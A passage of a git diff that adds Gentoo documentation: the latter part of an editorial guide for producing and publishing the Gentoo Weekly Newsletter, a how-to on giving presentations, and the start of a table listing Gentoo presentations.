+interesting enough to receive advance coverage:
+</p>
+<ul>
+<li>
+<b>Future zone</b> - New developments inside existing projects and entirely 
+new projects alike can brag about what they're currently doing, and where their 
+efforts will eventually lead. The Future zone is not limited to projects
+entirely governed by Gentoo developers, we occasionally open this space to 
+outside development -- provided it shows sufficient relevance for Gentoo, or 
+at least a promise to end up in the Portage tree at some point.
+</li>
+<li>
+<b>Developer of the week</b> - A standardized questionnaire is sent to developers
+who agree to be portrayed in this section. The monography is compiled from their
+answers and additional information at the discretion of the author. A photo is
+added at the top.
+</li>
+<li>
+<b>User stories</b> - Often contributed by people who use Gentoo professionally
+in a corporation or campus, this feature finds unusually interesting applications
+of Gentoo and exposes them to the public.
+</li>
+<li>
+<b>Interviews</b> - Same as above, except that it's conducted as a written interview.
+Answering questions is often easier for a busy CTO than writing a whole article
+all by him- or herself. A note at the top explains who is answering, the questions 
+are marked by emphasizing them ("<e>Who are you?</e>", see <uri link="#syntax">GWN 
+XML Syntax</uri> for details)
+</li>
+</ul>
+<p>
+All of these categories have in common that they go into much detail about a single
+topic, either portraying an individual or describing a project or product. They
+don't carry an explicit limit to their length, but in general shouldn't exceed a 
+third of the entire length of the GWN.
+</p>
+</body>
+</section>
+<section>
+<title>Third section: "Heard in the community"</title>
+<body>
+
+<p>
+There are various community sources. To distinguish them we use the following
+construction:
+</p>
+
+<pre caption="Community coverage">
+&lt;section&gt;
+&lt;title&gt;<i>Community Source</i>&lt;/title&gt;
+&lt;body&gt;
+
+&lt;p&gt;&lt;b&gt;Title of community information 1&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;
+<i>Summary</i>
+&lt;/p&gt;
+
+&lt;ul&gt;
+  &lt;li&gt;&lt;uri link="<i>location of source</i>"&lt;<i>Name/Title of referenced source</i>&lt;/uri&gt;&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;p&gt;&lt;b&gt;Title of community information 2&lt;/b&gt;&lt;p&gt;
+<comment>...</comment>
+
+&lt;/body&gt;
+&lt;/section&gt;
+</pre>
+
+<p>
+This construct should be repeated for every source. Possible sources are (just
+to name a few - more are always better):
+</p>
+
+<ul>
+  <li>Web Forums - <uri>http://forums.gentoo.org</uri></li>
+  <li>gentoo-devel - <uri link="http://news.gmane.org/gmane.linux.gentoo.devel">archive</uri></li>
+  <li>gentoo-user - <uri link="http://news.gmane.org/gmane.linux.gentoo.user">archive</uri></li>
+  <li>gentoo-server - <uri link="http://news.gmane.org/gmane.linux.gentoo.server">archive</uri></li>
+  <li>alt.os.linux.gentoo - <uri link="http://groups.google.com/group/alt.os.linux.gentoo">archive</uri></li>
+  <li>Planet Gentoo - <uri link="http://planet.gentoo.org">Planet</uri></li>
+</ul>
+
+<p>
+For each of those sources, no more than three items per week should get 
+coverage in this section. The main purpose of this section is to point readers
+to possible sources of community information, not duplication of content. If
+several threads are dealing with the same topic, they can be appended to a 
+common abstract, with links to Howtos or additional information from 
+different sources if appropriate. Coverage per item should fit in a few lines 
+and link to either a Forum or mailing list thread, the newsgroup via Google 
+groups, or archived blog entries (permanent links only, please).
+</p>
+<p>
+The combined information (for instance <path>community.xml</path>) should be
+sent to <mail
+link="gentoo-gwn-admin@gentoo.org">gentoo-gwn-admin@gentoo.org</mail>).
+</p>
+
+</body>
+</section>
+<section>
+<title>Fourth section: Gentoo international</title>
+<body>
+
+<p>
+Gentoo international gets news from around the globe, mostly regional activities 
+of Gentoo user groups, but also limited releases of Gentoo-related products, for 
+example, like a South-African web hoster switching to Gentoo on their server farm 
+etc. To prevent any misunderstanding: US activities belong here, too. International 
+news should be written as if it was generic news, it only needs to be bundled in a 
+different file (for instance <path>international.xml</path>).
+</p>
+
+<p>
+Titles are standardized to the extent that they start with the name of the country 
+and a colon, e.g. "Canada: " followed by the actual headline: 
+</p>
+
+<pre caption="Possible title for an Italian event">
+&lt;title&gt;<i>Italy:</i> Catalyst conference in Milano&lt;/title&gt;
+</pre>
+
+<p>
+Again, <path>international.xml</path> should be sent to <mail
+link="gentoo-gwn-admin@gentoo.org">gentoo-gwn-admin@gentoo.org</mail>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Fifth section: Gentoo in the press</title>
+<body>
+<p>
+The press clippings section gathers references to Gentoo being mentioned in 
+other media. This includes newspapers and magazines, but also books, radio and
+TV coverage, PR websites that carry Gentoo-related press releases. Some sites
+are deliberately avoided, like Slashdot threads that only get coverage here when 
+there's an original debate about Gentoo, not just Gentoo mentioned five times in
+comments on some thread. Others are treated with a certain predilection, like 
+Distrowatch articles about Gentoo and its spin-offs, for example.
+</p>
+<p>
+Titles have the name of the media followed by the published date in brackets. 
+For every non-English publication (there's no limit to languages used in the
+press clippings) the language is added in the title, right after the publication
+date. 
+</p>
+<pre caption="Title for press clipping">
+&lt;title&gt;<i>Diario del Gentooista</i> (12 November 2005, in Spanish)&lt;/title&gt;
+</pre>
+<p>
+The abstract always quotes a couple of ideas from the article, but it's 
+also supposed to put things into perspective for readers with a stronger Gentoo 
+affiliation than the average public. If an article (or video or any other trace)
+is available on the Internet, a link should be included in the abstract, not in 
+the title. Sites that require registration before allowing access to the content
+that's referenced here should best be avoided altogether, or, if that's impossible, 
+clearly marked as such.
+</p>
+</body>
+</section>
+<section>
+<title>Tips and Tricks</title>
+<body>
+
+<p>
+Tips and tricks can be constructed using regular sections (see <uri
+link="#syntax">GWN XML Syntax</uri>). Send the tips to <mail
+link="gentoo-gwn-admin@gentoo.org">gentoo-gwn-admin@gentoo.org</mail> in a
+single file (<path>tips.xml</path>).
+</p>
+
+</body>
+</section>
+<section>
+<title>Moves, Adds, and Changes</title>
+<body>
+
+<p>
+The following XML construction should be used:
+</p>
+
+<pre caption="Moves construction">
+&lt;section&gt;
+&lt;title&gt;Moves&lt;/title&gt;
+&lt;body&gt;
+
+&lt;p&gt;
+The following developers recently left the Gentoo team:
+&lt;/p&gt;
+
+&lt;ul&gt;
+  &lt;li&gt;<i>Some developer, or &lt;e&gt;None this week&lt;/e&gt;</i>&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;/body&gt;
+&lt;/section&gt;
+</pre>
+
+<p>
+Repeat for <c>Adds</c> and <c>Changes</c> and change accordingly.
+</p>
+
+<p>
+The result should be combined and sent to <mail
+link="gentoo-gwn-admin@gentoo.org">gentoo-gwn-admin@gentoo.org</mail>
+(<path>teamchanges.xml</path>).
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo security</title>
+<body>
+
+<p>
+The <!-- <uri link="glsa2gwn.py"> -->glsa2gwn.py<!-- </uri> --> script should be used to create
+the necessary sections for the GLSAs. Just run the following command for each
+GLSA issued in the last week:
+</p>
+
+<pre caption="Running glsa2gwn.py">
+$ <i>glsa2gwn.py /path/to/some/glsa.xml &gt;&gt; security.xml</i>
+</pre>
+
+<p>
+Then send <path>security.xml</path> to <mail
+link="gentoo-gwn-admin@gentoo.org">gentoo-gwn-admin@gentoo.org</mail>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Bugzilla</title>
+<body>
+
+<p>
+The bug statistics section of the GWN is entirely driven by a script called 
+<!-- <uri link="bugs2gwn.py"> --> bugs2gwn.py<!-- </uri> -->. Written by AJ Armstrong and modified only slightly 
+since its initial version, it dumps various information directly from <uri 
+link="http://bugs.gentoo.org">bugs.gentoo.org</uri>, performs calculations over a seven day
+period and concatenates the output for use in the GWN. Run the script:
+</p>
+<pre caption="Bugzilla section script">
+# <i>bugs2gwn.py &gt; bugsYYYYMMDD.xml</i>
+</pre>
+<p>
+and send the resulting file to <mail
+link="gentoo-gwn-admin@gentoo.org">gentoo-gwn-admin@gentoo.org</mail>.
+
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Creating the GWN</title>
+<section>
+<title>Combining all chapters</title>
+<body>
+
+<p>
+This is the job of the <e>editor</e>. Make sure you have all the appropriate files 
+that were sent to gentoo-gwn-admin@gentoo.org in your vicinity -- you'll need them.
+</p>
+
+<p>
+We start off with a <!-- <uri link="template.txt"> -->template<!-- </uri> --> for the GWN. Copy it
+to <path>YYYYMMDD-newsletter.xml</path> with of course YYYYMMDD the release date
+of the GWN. The file is commented heavily, but I'll give an overview for 
+completeness sake:
+</p>
+
+<ul>
+  <li>Fill in the release date under <c>subtitle</c></li>
+  <li>
+    Fill in the appropriate authors for this week's GWN. 
+  </li>
+  <li>
+    Fill in the <c>abstract</c> of the GWN. If you need an example, check the 
+    news items on Gentoo's main page
+  </li>
+  <li>
+    Increase the volume/issue inside <c>version</c>
+  </li>
+  <li>
+    Set the release date in <c>date</c>, the correct format is yyyy-mm-dd.
+  </li>
+  <li>
+    Include the various files sent to gentoo-gwn-admin@gentoo.org
+  </li>
+  <li>
+    Double-check the list of available translations
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Verifying the GWN</title>
+<body>
+
+<p>
+Store the file inside your <uri link="#testing">testing ground</uri>. At the
+same time, store the image of the developer (of the "Featured Developer of the
+Week") inside <path>gwn/images/gwn</path>.
+</p>
+
+<p>
+Now verify and test your GWN edition.
+</p>
+
+</body>
+</section>
+<section>
+<title>Proofreading the GWN</title>
+<body>
+<p>
+Time permitting, you should always send a draft of the upcoming issue to two mailing
+lists, gentoo-gwn-admin@gentoo.org and gentoo-core@gentoo.org. Try to aim for a time
+of day when sufficient numbers of native English speakers are available, six to 
+eight hours ahead of publication are good practice, albeit seldom practical. Proofreaders
+aren't bound to any particular format, they can send fully-fledged patches, <c>sed</c> style
+"<path>s/foo/bar</path>" sniplets or other corrections to the text.
+</p>
+</body>
+</section>
+<section>
+<title>Publishing the GWN</title>
+<body>
+
+<p>
+The publication date of the GWN is set to 0:00 UTC on Monday of each week. Try to conform
+to this as much as possible, there are automatic scripts in the wild that trigger on the 
+GWN's publication, for example to reference the new issue in other media. If the deadline
+is missed by too much of a delay, we risk dropping out of those backtracks.
+</p>
+<p>
+Publishing the GWN is done in steps. First, create the text version of the GWN.
+A script called gwnproc.py is used for this, with a separate xsl file that
+provides the formatting for plain text output.
+</p>
+
+<pre caption="Creating the text version of the GWN">
+$ <i>gwnproc.py YYYYMMDD-newsletter.xml &gt; YYYYMMDD-newsletter.txt</i>
+</pre>
+
+<p>
+Edit the resulting <path>YYYYMMDD-newsletter.txt</path> file so that it reads
+fluently. Pay attention to the links in the Bugzilla statistics section, the 
+script folds lines after 75 characters, which is a nuisance to mail clients
+if you don't put those links back on a single line.
+</p>
+
+<p>
+Next, commit the image(s) and the GWN files to CVS:
+</p>
+
+<pre caption="Committing to CVS, part I">
+<comment>(The image(s))</comment>
+$ <i>cp gwn/images/gwn/YYYYMMDD-nickname.jpg cvs/gentoo/xml/images/gwn</i>
+$ <i>cd cvs/gentoo/xml/images/gwn</i>
+$ <i>cvs -ko add YYYYMMDD-nickname.jpg</i>
+$ <i>cvs commit -m 'Image of nickname' YYYYMMDD-nickname.jpg</i>
+$ <i>cd</i>
+</pre>
+
+<p>
+The GWN overview page references the current issue of the GWN separately. You
+need to duplicate the <path>YYYYMMDD-newsletter.xml</path> file as 
+<path>current.xml</path> and submit both to CVS.
+</p>
+<pre caption="Committing to CVS, part II">
+$ <i>cp gwn/YYYYMMDD-newsletter.xml cvs/gentoo/xml/htdocs/news/en/gwn</i>
+$ <i>cd cvs/gentoo/xml/htdocs/news/en/gwn</i>
+$ <i>cvs add YYYYMMDD-newsletter.xml</i>
+$ <i>cp YYYYMMDD-newsletter.xml current.xml</i>
+$ <i>cvs commit -m 'GWN release for YYYYMMDD' YYYYMMDD-newsletter.*</i>
+</pre>
+
+<p>
+Add an entry for the current issue to the GWN overview file, <path>gwn.xml</path>
+in the same directory. This is a list of the main news items inside the newsletter
+conforming to the format found in the table, and very important because the RSS
+feed uses this entry as its title.
+</p>
+<pre caption="Committing to CVS, part III">
+$ <i>vi cvs/gentoo/xml/htdocs/news/en/gwn</i>
+<comment>Edit the table and add an entry for the current issue</comment>
+$ <i>cd cvs/gentoo/xml/htdocs/news/en/gwn</i>
+$ <i>cvs commit -m 'GWN overview updated' gwn.xml</i>
+</pre>
+<p>
+Write a news item for this week's GWN. You can use this <uri
+link="template-news.txt">template</uri>. Rename to
+<path>YYYYMMDD-gwn.xml</path>, edit and then commit it to CVS to publish it
+online:
+</p>
+
+<pre caption="Committing the news item">
+$ <i>cp gwn/template-news.txt cvs/gentoo/xml/htdocs/news/YYYYMMDD-gwn.xml</i>
+$ <i>cd cvs/gentoo/xml/htdocs/news</i>
+$ <i>cvs add YYYYMMDD-gwn.xml</i>
+$ <i>cvs commit -m 'GWN YYYYMMDD is available' YYYYMMDD-news.xml</i>
+$ <i>cd</i>
+</pre>
+
+<p>
+After committing all xml files and images to CVS, the synchronization to the 
+web mirrors takes up to one hour. You should wait for this to happen before
+sending out the plain text version of the current GWN through the 
+<path>gentoo-gwn@gentoo.org</path> mailing list. Open your
+favorite mail client and put the text <e>inside</e> the body of your e-mail.
+Subject it with the appropriate date (modeled after this: "Gentoo Weekly 
+Newsletter 12 November 2005") and send it out. The mailing list is moderated, so 
+you need to reply to the moderation request it sends to you before the GWN is 
+finally dispatched to the list's subscribers.
+</p>
+
+<p>
+Congratulations; you have now successfully released a GWN :)
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="syntax">
+<title>GWN XML Syntax</title>
+<section>
+<title>Single sections</title>
+<body>
+
+<p>
+Single sections, such as used by news items, should be constructed like this:
+</p>
+
+<pre caption="Syntax for news items">
+&lt;section&gt;
+&lt;title&gt;<i>Title of the News Item</i>&lt;/title&gt;
+&lt;body&gt;
+
+&lt;p&gt;
+<i>One paragraph.</i>
+&lt;/p&gt;
+
+&lt;p&gt;
+<i>Multiple paragraphs are of course encouraged :)</i>
+&lt;/p&gt;
+
+&lt;/body&gt;
+&lt;/section&gt;
+</pre>
+
+<p>
+Inside &lt;p&gt; constructs one can use:
+</p>
+
+<ul>
+  <li>&lt;e&gt;...&lt;/e&gt; for <e>emphasised text</e></li>
+  <li>&lt;c&gt;...&lt;/c&gt; for <c>commands</c> users can type</li>
+  <li>&lt;b&gt;...&lt;/b&gt; for <b>bold text</b></li>
+  <li>
+    &lt;uri link="http://www.gentoo.org"&gt;some link&lt;/uri&gt; for 
+    <uri link="http://www.gentoo.org">some link</uri>
+  </li>
+  <li>
+    &lt;mail link="some@address.com"&gt;name of person&lt;/mail&gt; is used for
+    e-mail addresses
+  </li>
+</ul>
+
+<p>
+Apart from &lt;p&gt; one can also use lists like the above. This is accomplished
+through &lt;ul&gt; (unnumbered) or &lt;ol&gt; (numbered) constructs:
+</p>
+
+<pre caption="Using a list construct">
+&lt;ul&gt;
+  &lt;li&gt;
+    <i>Inline text like with &lt;p&gt; constructs</i>
+  &lt;/li&gt;
+  &lt;li&gt;
+    <i>Another bullet</i>
+  &lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>Using code listings</title>
+<body>
+
+<p>
+A code listing can be put wherever one would be able to place &lt;p&gt;
+constructions - <e>not inside them!</e>. Code listings provide <e>no</e> word
+wrapping - if you place everything on a single line the result will be a
+document that forces the user to scroll horizontally!
+</p>
+
+<p>
+Inside a code listing, the following XML constructs are allowed:
+</p>
+
+<ul>
+  <li>&lt;comment&gt;...&lt;/comment&gt; color the text in red</li>
+  <li>&lt;i&gt;...&lt;/i&gt; color the text in blue (used for commands)</li>
+</ul>
+
+<p>
+A code listing is created with the &lt;pre&gt; tag:
+</p>
+
+<pre caption="Example pre">
+&lt;pre caption="Example pre"&gt;
+# &lt;i&gt;some command&lt;/i&gt;
+&lt;/pre&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>Adding illustrations to articles</title>
+<body>
+<p>
+Pictures (only .jpg or .png, please) accompany articles or interview according 
+to the following syntax. Again, &lt;figure&gt; constructs can be put wherever 
+one would be able to place &lt;p&gt; constructions.
+</p>
+<pre caption="XML Syntax for adding a picture">
+&lt;figure link="<i>/images/gwn/YYYYMMDD_nickname.jpg</i>"
+        short="<i>Full Name</i>"
+	caption="<i>Full Name</i>" /&gt;
+</pre>
+
+<p>
+The naming convention for images in the GWN is <path>YYYYMMDD_name.jpg</path> (or .png) with
+<path>YYYYMMDD</path> the year-month-day of the GWN release and
+<path>name</path> a single word best describing the picture, i.e. the nickname of a developer,
+a trade fair acronym etc.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="testing">
+<title>Testing Ground</title>
+<section>
+<title>Preparation</title>
+<body>
+
+<p>
+Create a directory <path>~/gwn</path>. Inside that directory, create the
+<path>dtd/</path>, <path>css/</path>, <path>xsl/</path> and 
+<path>/images</path> directories.
+</p>
+
+<pre caption="Creating the directories">
+$ <i>mkdir -p gwn/css gwn/dtd gwn/xsl gwn/images/gwn</i>
+</pre>
+
+<p>
+Execute the following downloading instructions to download the specific XSL
+file, DTD, CSS and images:
+</p>
+
+<pre caption="Storing the required files">
+$ <i>wget -P gwn/dtd/ http://www.gentoo.org/dtd/guide.dtd</i>
+$ <i>wget -P gwn/css/ http://www.gentoo.org/css/main.css</i>
+$ <i>wget -P gwn/images/  http://www.gentoo.org/images/gbot-s.gif \
+  http://www.gentoo.org/images/gridtest.gif \
+  http://www.gentoo.org/images/gtop-s.jpg \
+  http://www.gentoo.org/images/line.gif \
+  http://www.gentoo.org/images/netraverse-gentoo.gif</i>
+$ <i>wget -P gwn/xsl/ http://dev.gentoo.org/~swift/local/guide.xsl</i>
+</pre>
+
+<p>
+Now edit <path>/etc/xml/catalog</path> on your system and add the following
+line:
+</p>
+
+<pre caption="Addendum to catalog file">
+&lt;rewriteURI uriStartString="/dtd" rewritePrefix="<i>/home/you/gwn/dtd</i>"/&gt;
+</pre>
+
+<p>
+Of course make sure that the <c>rewritePrefix</c> points to your created
+<path>gwn/dtd</path> directory.
+</p>
+
+</body>
+</section>
+<section>
+<title>Testing a GWN</title>
+<body>
+
+<p>
+To test a GWN, we first verify it's XML accuracy. Go to the <path>gwn/</path>
+directory and run:
+</p>
+
+<pre caption="Checking the XML accuracy">
+$ <i>xmllint --valid --noout YYYYMMDD-newsletter.xml</i>
+</pre>
+
+<p>
+If the <c>xmllint</c> application gives no output, your GWN is fine. To view
+the result of the XML, run <c>xsltproc</c>:
+</p>
+
+<pre caption="Running xsltproc">
+$ <i>xsltproc xsl/guide.xsl YYYYMMDD-newsletter.xml &gt; test.html</i>
+</pre>
+
+<p>
+Point your browser to the <path>gwn/test.html</path> file on your disk - it
+should render the GWN correctly.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CVS Information</title>
+<section>
+<body>
+
+<p>
+Setting up your CVS account and such is beyond the scope of this document.
+Contact the infrastructure team if your CVS access gives you problems.
+</p>
+
+<p>
+To get the right CVS module on your disk, issue the following commands:
+</p>
+
+<pre caption="Preparing CVS">
+$ <i>mkdir cvs</i>
+$ <i>cd cvs</i>
+$ <i>export CVSROOT=yournick@cvs.gentoo.org:/var/cvsroot</i>
+$ <i>cvs co gentoo</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/pr/docs/howto-presentation.xml b/xml/htdocs/proj/en/pr/docs/howto-presentation.xml
new file mode 100644
index 00000000..e8823699
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/docs/howto-presentation.xml
@@ -0,0 +1,334 @@
+<?xml version="1.0"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="howto-presentation.xml">
+
+<title>Presentation Howto</title>
+
+<author title="Author">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+
+
+<abstract>
+Learn to write and structure Gentoo presentations.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>February 15, 2004</date>
+
+<chapter>
+<title>Research your Subject</title>
+<section>
+<title>What is your Presentation About?</title>
+<body>
+
+<p>
+When you're asked to present a certain subject, chances are that you're a lead
+in that domain. That doesn't mean you know what to present to your audience
+though. What does the audience want to hear? What do you want to disclose? What
+is important enough to be mentioned to the audience?
+</p>
+
+<p>
+<b>Know your audience</b> is the key element of a good presentation. A
+presentation prepared for a developer audience won't have the same outcome on a
+regular user audience. 
+</p>
+
+<p>
+Developers are interested in the technologies used, the standards that your 
+project embraces (interoptability), the decisions made when choosing between 
+different options. 
+</p>
+
+<p>
+Users however want to know what the project does for them: What are the
+benefits? How is the migration handled? What do they lose when they go with your
+vision?
+</p>
+
+</body>
+</section>
+<section>
+<title>Collect the Necessary Resources</title>
+<body>
+
+<p>
+Research also means literature research. Search for information on the Internet
+regarding the subject of your presentation. Make sure you understand the ins and
+outs of your subject and are able to anticipate frequently asked questions.
+</p>
+
+<p>
+Write down your resources; you will need them later on to inform the audience
+where they can find more information.
+</p>
+
+</body>
+</section>
+<section>
+<title>Ask for Community Feedback</title>
+<body>
+
+<p>
+Do not neglect the feedback from the community. When, after your presentation,
+you ask for questions, chances are that you will receive the same questions as
+you encounter on the public forums or discussion groups. Anticipate these
+questions!
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Know your Time Schedule</title>
+<section>
+<title>What is your Allotted Time Frame?</title>
+<body>
+
+<p>
+When you design your presentation, take the total amount of allotted time into
+account. Calculate 3 to 5 minutes for questions and 2 minutes for switching
+presentations. Also, make sure that you have no more than one slide per two
+minutes. 
+</p>
+
+<p>
+Rehearse your presentation sufficiently. You will not receive more time from the
+chairman, and having a presentation interrupted in the middle of an important
+slide is plain annoying.
+</p>
+
+</body>
+</section>
+<section>
+<title>Keep in Touch with the Chairman</title>
+<body>
+
+<p>
+Ask if it is possible to test the accommodation (projector, microphone, ...)
+beforehand (for instance the day before) so you can anticipate possible hardware
+incompatibilities. Nothing is more annoying than wanting to start your
+presentation only to find out that the projector is out of sync when you attach
+your laptop.
+</p>
+
+<p>
+Also contact the chairman one hour in front to show him you're around and
+available.
+</p>
+
+<p>
+Also ask if (and how) you can have a backup solution ready in case Mr. Murphy
+says hi. Export your presentation to some common format and have several backups
+in your pocket.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Structure your Content</title>
+<section>
+<title>Be Redundant</title>
+<body>
+
+<p>
+Start your presentation with an explanation on what you will be talking about.
+Then talk about it and close with a short summary on what you talked about. This
+is extremely important: it focuses the audience. At no point during the 
+presentation should the audience feel that you have said something that will 
+not be explained further.
+</p>
+
+</body>
+</section>
+<section>
+<title>Plan your Slides</title>
+<body>
+
+<p>
+Plan a slide-by-slide structure before sitting behind your PC. Fill out a story
+board and use a common summary technique (such as <e>Mind Mapping</e>) to grasp
+the essence of the presentation.
+</p>
+
+</body>
+</section>
+<section>
+<title>Use it, don't Read it</title>
+<body>
+
+<p>
+A presentation needs to be <e>used</e> to guide you through the information you
+want to deliver. It shouldn't be read like a book. If the presentation contains
+everything you want to say, then there is no need for you to be there.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Make your Presentation Readable</title>
+<section>
+<title>Be Careful with Fonts</title>
+<body>
+
+<p>
+Use sans-serif fonts (such as Arial or Helvetica) and 24 - 26 points font
+sizes. Keep titles short and avoid paragraphs in the slide. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Be Careful with Colors</title>
+<body>
+
+<p>
+Use consistent coloring throughout the presentation. Only use colors when they
+mean something (for instance blue -&gt; loss, green -&gt; good). Do not use more
+than 4 colors in a single slide.
+</p>
+
+</body>
+</section>
+<section>
+<title>The Joy of Six</title>
+<body>
+
+<ul>
+  <li>Use bullet points</li>
+  <li>Start each point with a capital letter</li>
+  <li>Limit your slide to at most 6 bullet points</li>
+  <li>Have at most 6 words per bullet point</li>
+  <li>Don't use ALL CAPS</li>
+  <li>Restrict nesting to at most 2 levels</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Keep it Simple</title>
+<body>
+
+<p>
+When you use images, limit the amount to one to three images per slide. It is
+also preferred to use a number of simple images instead of a single complex one.
+</p>
+
+</body>
+</section>
+<section>
+<title>Use an Intelligent Layout</title>
+<body>
+
+<p>
+Number your slides.
+</p>
+
+<p>
+Only use the top 2/3rd of the slide for the real content. In some environments
+the bottom 1/3rd of the screen isn't fully visible to the entire audience.
+</p>
+
+</body>
+</section>
+<section>
+<title>Be Gentle with Effects</title>
+<body>
+
+<p>
+Don't let the special effects distract the attention from the presentation
+itself. Only use a single transition effect for the whole presentation.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Proofread, Spell-Check and Confirm</title>
+<section>
+<title>Use a Spell Checker</title>
+<body>
+
+<p>
+Interesting or not, a presentation with typos or grammatical flaws is a
+show-stopper. Use a (or multiple) spell checkers while writing your slides.
+</p>
+
+</body>
+</section>
+<section>
+<title>Use a Peer Reviewer</title>
+<body>
+
+<p>
+Have people read your slides or rehearse your presentation with them. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Print your Presentation</title>
+<body>
+
+<p>
+Be sure that your presentations are easily printable.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Deliver your Presentation</title>
+<section>
+<title>Speak</title>
+<body>
+
+<p>
+Speak slowly and clearly. Use short sentences.
+</p>
+
+</body>
+</section>
+<section>
+<title>Show</title>
+<body>
+
+<ul>
+  <li>Stand up straight and face the audience</li>
+  <li>Use gestures, but not in an excessive way</li>
+  <li>
+    Make positive eye contact; keep eye contact for 3 to 5 seconds per person
+  </li>
+  <li>
+    Use a laser pointer; right-handed people should stand with the slides to
+    their right
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Answer</title>
+<body>
+
+<p>
+Repeat asked questions and think before you answer. When you do, answer to the
+public and not only to the person that asked the question.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/pr/docs/presentation-listing.xml b/xml/htdocs/proj/en/pr/docs/presentation-listing.xml
new file mode 100644
index 00000000..49057ed0
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/docs/presentation-listing.xml
@@ -0,0 +1,207 @@
+<?xml version="1.0"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="presentation-listing.xml">
+
+<title>Presentation Listing</title>
+
+<author title="Author">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+
+<author title="Editor">
+  <mail link="pylon@gentoo.org">Lars Weiler</mail>
+</author>
+
+
+<abstract>
+A list of available Gentoo presentations.
+</abstract>
+
+<license/>
+
+<version>1.6</version>
+<date>2010-03-10</date>
+
+<chapter>
+<title>General Gentoo Presentations</title>
+<section>
+<title>Maintained</title>
+<body>
+
+<p>
+If you know of a Gentoo presentation that's up to date (as much as possible),
+please pass it to <mail link="pr@gentoo.org"></mail> for
+inclusion on this page.
+</p>
+
+<p>
+<e>Beware</e>, some of the presentations are available under certain conditions.
+These are mentioned in the License column. Don't use the presentation before
+reading the License and/or contacting the main author.
+</p>
+
+<table>
+<tr>
+  <th>Title</th>
+  <th>License</th>
+  <th>Author</th>
+  <th>Date</th>
+  <th>Event</th>
+  <th>Link</th>
+</tr>
+<tr>
+  <ti>Introduction to Gentoo</ti>
+  <ti>
+    <uri link="http://creativecommons.org/licenses/by-nc-sa/1.0/">BY-NC-SA 1</uri>
+  </ti>
+  <ti><mail link="rajiv@gentoo.org">Rajiv Manglani</mail></ti>
+  <ti></ti>
+  <ti></ti>
+  <ti>
+    <uri link="http://dev.gentoo.org/~rajiv/IntroToGentoo/">site</uri> 
+    (pdf, ppt, txt)
+  </ti>
+</tr>
+<tr>
+  <ti>Keynote for FOSDEM 2005</ti>
+  <ti>Unknown (ask author)</ti>
+  <ti><mail link="sejo@gentoo.org">Jochen Maes</mail></ti>
+  <ti>2005-02-26</ti>
+  <ti>FOSDEM 2005</ti>
+  <ti>
+    <uri link="http://www.gentoo.org/proj/en/pr/docs/presentations/Gentoo-Keynote.sxi">sxi</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>The Gentoo Community</ti>
+  <ti>Unknown (ask author)</ti>
+  <ti><mail link="plate@gentoo.org">Ulrich Plate</mail></ti>
+  <ti>2005-02-26</ti>
+  <ti>FOSDEM 2005</ti>
+  <ti>
+    <uri link="http://www.gentoo.org/proj/en/pr/docs/presentations/gentoo_community.pdf">pdf</uri>,
+    <uri link="http://www.gentoo.org/proj/en/pr/docs/presentations/gentoo_community.sxi">sxi</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>Features of Portage</ti>
+  <ti>Unknown (ask author)</ti>
+  <ti><mail link="patrick@gentoo.org">Patrick Lauer</mail></ti>
+  <ti>2005-02-26</ti>
+  <ti>FOSDEM 2005</ti>
+  <ti>
+    <uri link="http://www.gentoo.org/proj/en/pr/docs/presentations/features-of-portage.sxi">sxi</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>Building LiveCDs with catalyst</ti>
+  <ti>Unknown (ask author)</ti>
+  <ti><mail link="beejay@gentoo.org">Benjamin Judas</mail></ti>
+  <ti>2005-02-26</ti>
+  <ti>FOSDEM 2005</ti>
+  <ti>
+    <uri link="http://www.gentoo.org/proj/en/pr/docs/presentations/Catalyst.pdf">pdf</uri>,
+    <uri link="http://www.gentoo.org/proj/en/pr/docs/presentations/Catalyst.sxi">sxi</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>Gentoo Network Appliance Project (GNAP)</ti>
+  <ti>Unknown (ask author)</ti>
+  <ti><mail link="koon@gentoo.org">Thierry Carrez</mail></ti>
+  <ti>2005-02-26</ti>
+  <ti>FOSDEM 2005</ti>
+  <ti>
+    <uri link="http://www.gentoo.org/proj/en/pr/docs/presentations/GNAP.sxi">sxi</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>Gentoo/Linux on the PowerPC Architecture</ti>
+  <ti>
